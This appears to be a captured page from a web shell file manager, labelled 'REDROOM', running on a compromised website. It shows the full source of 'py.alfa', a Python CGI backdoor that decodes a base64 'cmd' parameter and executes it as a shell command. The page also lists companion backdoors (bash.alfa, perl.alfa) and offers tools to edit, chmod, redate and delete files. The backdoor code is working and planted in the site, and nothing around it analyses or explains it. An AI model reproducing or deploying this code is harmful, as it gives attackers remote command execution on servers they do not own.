REDROOM
PHP 5.3.29
Path:
Logout
Edit File
Size: 463 B
Close
/home/kiwothai/domains/kiwothai.com/public_html/uploads/ALFA_DATA/alfacgiapi/py.alfa
Text
Base64
#!/usr/bin/python try: import cgitb; cgitb.enable() except: pass import os,cgi,base64 form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'}) cmd = form.getvalue('cmd') check = form.getvalue('check') print "Content-type:text/html\r\n\r\n" if cmd: print base64.b64decode(check)+"<pre>" child_stdin, child_stdout = os.popen2(base64.b64decode(cmd)) child_stdin.close() result = child_stdout.read() child_stdout.close() print result.strip() print "</pre>"
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 4
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
.htaccess
146 B
lrw-r--r--
2024-12-11 23:56:09
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
bash.alfa
1.52 KB
lrwxr-xr-x
2024-12-11 23:56:09
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
perl.alfa
542 B
lrwxr-xr-x
2024-12-11 23:56:09
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
py.alfa
463 B
lrwxr-xr-x
2024-12-11 23:56:09
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).